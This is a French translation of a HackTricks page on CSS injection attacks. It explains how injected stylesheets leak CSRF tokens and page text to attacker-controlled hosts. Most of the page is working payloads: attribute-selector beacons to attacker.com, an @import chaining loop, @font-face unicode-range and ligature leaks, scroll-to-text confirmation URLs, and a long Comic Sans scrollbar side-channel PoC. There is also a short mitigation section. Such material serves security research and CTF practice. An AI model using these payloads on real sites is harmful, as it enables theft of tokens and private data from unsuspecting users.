CSS Injection

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Groupe de sécurité Try Hard


Injection CSS

Sélecteur d'attribut

Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs name et value d'un élément input. Si la valeur de l'attribut de l'élément d'entrée commence par un caractère spécifique, une ressource externe prédéfinie est chargée :

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Contournement pour les éléments cachés

Pour contourner cette limitation, vous pouvez cibler un élément frère ultérieur en utilisant le combinateur de frères général ~. La règle CSS s'applique ensuite à tous les frères suivant l'élément d'entrée caché, ce qui permet de charger l'image d'arrière-plan :

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Un exemple pratique d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le consulter ici.

Prérequis pour l'injection CSS

Pour que la technique d'injection CSS soit efficace, certaines conditions doivent être remplies :

  1. Longueur de la charge utile : Le vecteur d'injection CSS doit prendre en charge des charges utiles suffisamment longues pour accueillir les sélecteurs créés.

  2. Réévaluation du CSS : Vous devez avoir la capacité de cadrer la page, ce qui est nécessaire pour déclencher la réévaluation du CSS avec les charges utiles nouvellement générées.

  3. Ressources externes : La technique suppose la possibilité d'utiliser des images hébergées à l'extérieur. Cela peut être limité par la politique de sécurité du contenu (CSP) du site.

Sélecteur d'attribut aveugle

Comme expliqué dans cet article, il est possible de combiner les sélecteurs :has et :not pour identifier le contenu même des éléments aveugles. Cela est très utile lorsque vous n'avez aucune idée de ce qui se trouve à l'intérieur de la page web chargeant l'injection CSS. Il est également possible d'utiliser ces sélecteurs pour extraire des informations de plusieurs blocs du même type comme dans :

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

En combinant cela avec la technique @import suivante, il est possible d'exfiltrer beaucoup d'informations en utilisant l'injection CSS à partir de pages aveugles avec blind-css-exfiltration.

@import

La technique précédente présente certains inconvénients, vérifiez les prérequis. Vous devez soit être capable d'envoyer plusieurs liens à la victime, soit être capable d'encapsuler la page vulnérable à l'injection CSS dans un iframe.

Cependant, il existe une autre technique astucieuse qui utilise CSS @import pour améliorer la qualité de la technique.

Cela a été d'abord présenté par Pepe Vila et cela fonctionne comme suit :

Au lieu de charger la même page une fois et encore avec des dizaines de charges utiles différentes à chaque fois (comme dans la technique précédente), nous allons charger la page une seule fois et juste avec une importation vers le serveur des attaquants (c'est la charge utile à envoyer à la victime) :

@import url('//attacker.com:5001/start?');
  1. L'import va recevoir un script CSS des attaquants et le navigateur va le charger.

  2. La première partie du script CSS que l'attaquant enverra est un autre @import vers le serveur des attaquants.

  3. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons divulguer certains caractères, puis répondre à cet import avec la charge utile pour divulguer les suivants.

  4. La deuxième et plus grande partie de la charge utile va être une charge utile de fuite de sélecteur d'attribut

  5. Cela enverra au serveur des attaquants le premier caractère du secret et le dernier

  6. Une fois que le serveur des attaquants a reçu le premier et le dernier caractère du secret, il va répondre à l'import demandé à l'étape 2.

  7. La réponse sera exactement la même que les étapes 2, 3 et 4, mais cette fois-ci elle essaiera de trouver le deuxième caractère du secret et ensuite l'avant-dernier.

L'attaquant va suivre cette boucle jusqu'à ce qu'il parvienne à divulguer complètement le secret.

Vous pouvez trouver le code original de Pepe Vila pour exploiter cela ici ou vous pouvez trouver presque le même code mais commenté ici.

Le script va essayer de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Cela permet au script de divulguer le secret plus rapidement.

Parfois, le script ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet et il continuera vers l'avant (dans le préfixe) et vers l'arrière (dans le suffixe) et à un moment donné, il restera bloqué. Pas de soucis, il suffit de vérifier la sortie car vous pouvez y voir le drapeau.

Autres sélecteurs

D'autres façons d'accéder aux parties du DOM avec les sélecteurs CSS:

  • .class-to-search:nth-child(2): Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.

  • Sélecteur :empty: Utilisé par exemple dans ce compte rendu:

[role^="img"][aria-label="1"]:empty { background-image: url("VOTRE_URL_DU_SERVEUR?1"); }

XS-Search basé sur les erreurs

Référence: Attaque basée sur CSS : Abus de la plage unicode de @font-face, PoC XS-Search basé sur les erreurs par @terjanq

L'intention globale est de utiliser une police personnalisée à partir d'un point de terminaison contrôlé et de s'assurer que le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (favicon.ico) ne peut pas être chargée.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Utilisation de police personnalisée:

    • Une police personnalisée est définie en utilisant la règle @font-face à l'intérieur d'une balise <style> dans la section <head>.

    • La police est nommée poc et est récupérée à partir d'une adresse externe (http://attacker.com/?leak).

    • La propriété unicode-range est définie sur U+0041, ciblant le caractère Unicode spécifique 'A'.

  2. Élément Objet avec Texte de Secours:

    • Un élément <object> avec l'id="poc0" est créé dans la section <body>. Cet élément tente de charger une ressource à partir de http://192.168.0.1/favicon.ico.

    • La font-family pour cet élément est définie sur 'poc', tel que défini dans la section <style>.

    • Si la ressource (favicon.ico) échoue à se charger, le contenu de secours (la lettre 'A') à l'intérieur de la balise <object> est affiché.

    • Le contenu de secours ('A') sera rendu en utilisant la police personnalisée poc si la ressource externe ne peut pas être chargée.

Mise en forme du Fragment de Texte de Défilement

La pseudo-classe :target est utilisée pour sélectionner un élément ciblé par un fragment d'URL, tel que spécifié dans la spécification CSS Selectors Level 4. Il est crucial de comprendre que ::target-text ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.

Une préoccupation en matière de sécurité survient lorsque les attaquants exploitent la fonctionnalité de fragment Défilement vers le texte, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode implique d'injecter une règle CSS comme suit:

:target::before { content : url(target.png) }

Dans de tels scénarios, si le texte "Administrateur" est présent sur la page, la ressource target.png est demandée au serveur, indiquant la présence du texte. Une instance de cette attaque peut être exécutée via une URL spécialement conçue qui intègre le CSS injecté aux côtés d'un fragment de défilement vers le texte :

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Voici, l'attaque manipule l'injection HTML pour transmettre le code CSS, visant le texte spécifique "Administrateur" à travers le fragment Scroll-to-text (#:~:text=Administrateur). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attaquant.

Pour atténuer, les points suivants doivent être notés :

  1. Correspondance STTF Contrainte : Le Fragment Scroll-to-text (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à divulguer des secrets ou jetons arbitraires.

  2. Restriction aux Contextes de Navigation de Niveau Supérieur : STTF fonctionne uniquement dans les contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.

  3. Nécessité d'une Activation Utilisateur : STTF nécessite un geste d'activation de l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont possibles que par le biais de navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque d'automatisation des attaques sans interaction utilisateur. Néanmoins, l'auteur de l'article de blog souligne des conditions et des contournements spécifiques (par exemple, l'ingénierie sociale, l'interaction avec des extensions de navigateur prédominantes) qui pourraient faciliter l'automatisation de l'attaque.

La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se protéger contre de telles tactiques d'exploitation.

Pour plus d'informations, consultez le rapport original : https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Vous pouvez consulter un exploit utilisant cette technique pour un CTF ici.

@font-face / unicode-range

Vous pouvez spécifier des polices externes pour des valeurs unicode spécifiques qui ne seront collectées que si ces valeurs unicode sont présentes sur la page. Par exemple :

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Exfiltration de nœud de texte (I): ligatures

Référence: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

La technique décrite consiste à extraire du texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comprend plusieurs étapes :

  1. Création de polices personnalisées :

  • Les polices SVG sont conçues avec des glyphes ayant un attribut horiz-adv-x, qui définit une largeur importante pour un glyphe représentant une séquence de deux caractères.

  • Exemple de glyphe SVG : <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, où "XY" désigne une séquence de deux caractères.

  • Ces polices sont ensuite converties au format woff en utilisant fontforge.

  1. Détection des changements de largeur :

  • Le CSS est utilisé pour s'assurer que le texte ne se coupe pas (white-space: nowrap) et pour personnaliser le style de la barre de défilement.

  • L'apparition d'une barre de défilement horizontale, stylisée de manière distincte, agit comme un indicateur (oracle) qu'une ligature spécifique, et donc une séquence de caractères spécifique, est présente dans le texte.

  • Le CSS impliqué :

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Processus d'exploitation :

  • Étape 1 : Des polices sont créées pour des paires de caractères avec une largeur importante.

  • Étape 2 : Une astuce basée sur la barre de défilement est utilisée pour détecter quand le glyphe de grande largeur (ligature pour une paire de caractères) est rendu, indiquant la présence de la séquence de caractères.

  • Étape 3 : Après avoir détecté une ligature, de nouveaux glyphes représentant des séquences de trois caractères sont générés, incorporant la paire détectée et ajoutant un caractère précédent ou suivant.

  • Étape 4 : La détection de la ligature de trois caractères est effectuée.

  • Étape 5 : Le processus se répète, révélant progressivement tout le texte.

  1. Optimisation :

  • La méthode d'initialisation actuelle utilisant <meta refresh=... n'est pas optimale.

  • Une approche plus efficace pourrait impliquer l'astuce @import en CSS, améliorant les performances de l'exploit.

Exfiltration de nœud de texte (II): fuite du jeu de caractères avec une police par défaut (ne nécessitant pas de ressources externes)

Référence: PoC utilisant Comic Sans par @Cgvwzq & @Terjanq

Cette astuce a été publiée dans ce fil de discussion Slackers. Le jeu de caractères utilisé dans un nœud de texte peut être divulgué en utilisant les polices par défaut installées dans le navigateur : aucune police externe -ou personnalisée- n'est nécessaire.

Le concept repose sur l'utilisation d'une animation pour étendre progressivement la largeur d'un div, permettant à un caractère à la fois de passer de la partie 'suffixe' du texte à la partie 'préfixe'. Ce processus divise efficacement le texte en deux sections :

  1. Préfixe : La ligne initiale.

  2. Suffixe : La ou les lignes suivantes.

Les étapes de transition des caractères apparaîtraient comme suit :

C ADB

CA DB

CAD B

CADB

Pendant cette transition, le tour de magie unicode-range est utilisé pour identifier chaque nouveau caractère au fur et à mesure qu'il rejoint le préfixe. Cela est réalisé en passant la police à Comic Sans, qui est notablement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révèle indirectement la présence d'un nouveau caractère dans le préfixe.

Bien que cette méthode permette de détecter les caractères uniques au fur et à mesure de leur apparition, elle ne spécifie pas quel caractère est répété, seulement qu'une répétition s'est produite.

Essentiellement, l'unicode-range est utilisé pour détecter un caractère, mais comme nous ne voulons pas charger une police externe, nous devons trouver un autre moyen. Lorsque le caractère est trouvé, il est attribué à la police Comic Sans préinstallée, ce qui le rend plus grand et déclenche une barre de défilement qui va divulguer le caractère trouvé.

Vérifiez le code extrait du PoC :

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Exfiltration de nœud de texte (III) : fuite du jeu de caractères avec une police par défaut en masquant des éléments (ne nécessitant pas de ressources externes)

Référence : Cela est mentionné comme une solution infructueuse dans ce compte rendu

Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre certains caractères plus grands que d'autres est de cacher quelque chose comme un bouton pour qu'il ne soit pas pressé par le bot ou une image qui ne se chargera pas. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.

Exfiltration de nœud de texte (III) : fuite du jeu de caractères par temporisation du cache (ne nécessitant pas de ressources externes)

Référence : Cela est mentionné comme une solution infructueuse dans ce compte rendu

Dans ce cas, nous pourrions essayer de vérifier si un caractère est dans le texte en chargeant une fausse police depuis la même origine :

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Si une correspondance est trouvée, la police sera chargée depuis /static/bootstrap.min.css?q=1. Bien qu'elle ne se charge pas avec succès, le navigateur devrait la mettre en cache, et même en l'absence de cache, il y a un mécanisme de réponse 304 non modifiée, donc la réponse devrait être plus rapide que d'autres éléments.

Cependant, si la différence de temps entre la réponse mise en cache et celle non mise en cache n'est pas assez grande, cela ne sera pas utile. Par exemple, l'auteur a mentionné : Cependant, après des tests, j'ai constaté que le premier problème est que la vitesse n'est pas très différente, et le deuxième problème est que le bot utilise le drapeau disk-cache-size=1, ce qui est vraiment réfléchi.

Exfiltration de nœud texte (III) : fuite du jeu de caractères en mesurant le chargement de centaines de "polices" locales (ne nécessitant pas de ressources externes)

Référence : Cela est mentionné comme une solution infructueuse dans cet article

Dans ce cas, vous pouvez indiquer au CSS de charger des centaines de fausses polices depuis la même origine lorsqu'une correspondance se produit. De cette manière, vous pouvez mesurer le temps nécessaire et déterminer si un caractère apparaît ou non avec quelque chose comme :

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Et le code du bot ressemble à ceci :

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Donc, si la police ne correspond pas, le temps de réponse lors de la visite du bot devrait être d'environ 30 secondes. Cependant, s'il y a une correspondance de police, plusieurs requêtes seront envoyées pour récupérer la police, ce qui entraînera une activité continue sur le réseau. En conséquence, il faudra plus de temps pour satisfaire la condition d'arrêt et recevoir la réponse. Par conséquent, le temps de réponse peut être utilisé comme indicateur pour déterminer s'il y a une correspondance de police.

Références

Groupe de sécurité Try Hard

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour